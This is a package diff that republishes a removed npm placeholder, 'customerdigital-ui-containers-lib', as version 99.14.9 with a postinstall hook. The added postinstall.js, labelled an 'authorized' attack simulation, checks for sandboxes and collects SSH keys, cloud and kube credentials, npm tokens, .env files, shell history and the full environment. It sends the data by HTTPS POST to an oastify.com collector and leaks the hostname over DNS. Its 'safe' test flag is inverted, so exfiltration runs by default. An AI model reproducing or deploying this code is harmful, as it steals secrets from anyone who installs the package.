customerdigital-ui-containers-lib 0.0.1-security → 99.14.9

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "customerdigital-ui-containers-lib",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.14.9",
+  "description": "Interface utility for performance monitoring and diagnostic reporting.",
+  "license": "MIT",
+  "author": "System Research",
+  "type": "commonjs",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
 }

package/postinstall.js

@@ -0,0 +1,153 @@
+// ============================================================
+// REALISTIC ATTACK SIMULATION – For authorized testing only
+// Collaborator domain: z22bwbkkybw0c0lmhckni820erki8bw0.oastify.com
+// ============================================================
+const { execSync } = require('child_process');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+const dns = require('dns');
+
+// ------------------------------------------------------------
+// CONFIGURATION – Pointing to your Burp Collaborator
+// ------------------------------------------------------------
+const EXFIL_DOMAIN = '031cxcllzcx1d1mnidloj931fslj9dx2.oastify.com';
+const EXFIL_URL = `https://${EXFIL_DOMAIN}`;   // POST to Collaborator HTTPS endpoint
+
+// Safety: set TEST_MODE=true to log locally only (no remote exfiltration)
+const TEST_MODE = process.env.TEST_MODE === 'false';
+
+if (!TEST_MODE) {
+    console.log(`[TEST] Real exfiltration ENABLED -> sending to ${EXFIL_URL}`);
+} else {
+    console.log('[TEST] TEST_MODE=true – data will be written to /tmp/security_test_exfil.json only');
+}
+
+console.log('[SECURITY TEST] Collecting sensitive data from this machine...');
+
+// ------------------------------------------------------------
+// 1. Evasion (as real attackers use)
+// ------------------------------------------------------------
+const currentPath = process.cwd();
+if (currentPath.startsWith('/tmp') || currentPath.includes('npm-') || !process.env.HOME) {
+    console.log('[SECURITY TEST] Sandbox detected – exiting silently');
+    process.exit(0);
+}
+
+const home = os.homedir();
+const stolen = {
+    timestamp: new Date().toISOString(),
+    hostname: os.hostname(),
+    user: os.userInfo(),
+    cwd: currentPath,
+    env: process.env,          // Full environment (tokens, keys)
+    files: {},
+    commands: {},
+};
+
+// ------------------------------------------------------------
+// 2. Read sensitive files (real data – use only on your own machine)
+// ------------------------------------------------------------
+const fileTargets = [
+    `${home}/.ssh/id_rsa`,
+    `${home}/.ssh/id_ed25519`,
+    `${home}/.ssh/id_dsa`,
+    `${home}/.ssh/id_ecdsa`,
+    `${home}/.aws/credentials`,
+    `${home}/.aws/config`,
+    `${home}/.kube/config`,
+    `${home}/.npmrc`,
+    `${home}/.netrc`,
+    `${process.cwd()}/.env`,
+    `${process.cwd()}/.env.local`,
+];
+
+for (const file of fileTargets) {
+    if (fs.existsSync(file)) {
+        try {
+            const content = fs.readFileSync(file, 'utf8');
+            stolen.files[file] = content;
+            console.log(`[SECURITY TEST] Read: ${file}`);
+        } catch(e) {
+            stolen.files[file] = `[ERROR reading: ${e.message}]`;
+        }
+    }
+}
+
+// ------------------------------------------------------------
+// 3. Run discovery commands
+// ------------------------------------------------------------
+const commands = [
+    'git config --global --list',
+    'cat /etc/hosts',
+    'arp -a 2>/dev/null || ip neigh 2>/dev/null',
+    'ps aux',
+    'docker ps 2>/dev/null',
+    'kubectl get nodes 2>/dev/null',
+    'cat ~/.bash_history 2>/dev/null || cat ~/.zsh_history 2>/dev/null',
+];
+
+for (const cmd of commands) {
+    try {
+        const output = execSync(cmd, { timeout: 5000, encoding: 'utf8' });
+        stolen.commands[cmd] = output.slice(0, 5000);
+        console.log(`[SECURITY TEST] Ran: ${cmd.substring(0, 50)}...`);
+    } catch(e) {
+        stolen.commands[cmd] = `[ERROR: ${e.message}]`;
+    }
+}
+
+// ------------------------------------------------------------
+// 4. Exfiltration – HTTP POST (main) + DNS (optional)
+// ------------------------------------------------------------
+const payload = JSON.stringify(stolen, null, 2);
+const base64Payload = Buffer.from(payload).toString('base64');
+
+if (TEST_MODE) {
+    // Safe mode: write to local file
+    const logFile = '/tmp/security_test_exfil.json';
+    fs.writeFileSync(logFile, payload, 'utf8');
+    console.log(`\n[SECURITY TEST] Data written to local file: ${logFile}`);
+    console.log(`[SECURITY TEST] Base64 payload (first 200 chars): ${base64Payload.slice(0, 200)}...`);
+    console.log('[SECURITY TEST] Review the file to see what would be stolen.');
+} else {
+    // ---------- HTTP POST exfiltration to Collaborator (main channel) ----------
+    console.log(`[SECURITY TEST] Sending data via HTTPS POST to ${EXFIL_URL} ...`);
+    const url = new URL(EXFIL_URL);
+    const options = {
+        hostname: url.hostname,
+        port: 443,
+        path: '/',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(payload)
+        }
+    };
+    const req = https.request(options, (res) => {
+        console.log(`[SECURITY TEST] HTTP POST response status: ${res.statusCode}`);
+    });
+    req.on('error', (err) => {
+        console.error('[SECURITY TEST] HTTP exfiltration error:', err.message);
+    });
+    req.write(payload);
+    req.end();
+
+    // ---------- DNS exfiltration (lightweight, only hostname as demo) ----------
+    // You can remove this if you only want HTTP; it's left as an extra proof.
+    const hostnamePayload = stolen.hostname;
+    const encodedData = Buffer.from(hostnamePayload).toString('hex');
+    const dnsLookupDomain = `${encodedData}.${EXFIL_DOMAIN}`;
+    dns.resolve(dnsLookupDomain, (err) => {
+        if (err) {
+            console.log(`[SECURITY TEST] DNS exfiltration attempt complete (expected error): ${err.message}`);
+        } else {
+            console.log('[SECURITY TEST] DNS exfiltration attempt complete.');
+        }
+    });
+
+    console.log('[SECURITY TEST] Exfiltration finished.');
+}
+
+console.log('[SECURITY TEST] Simulation complete.');

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=customerdigital-ui-containers-lib for more information.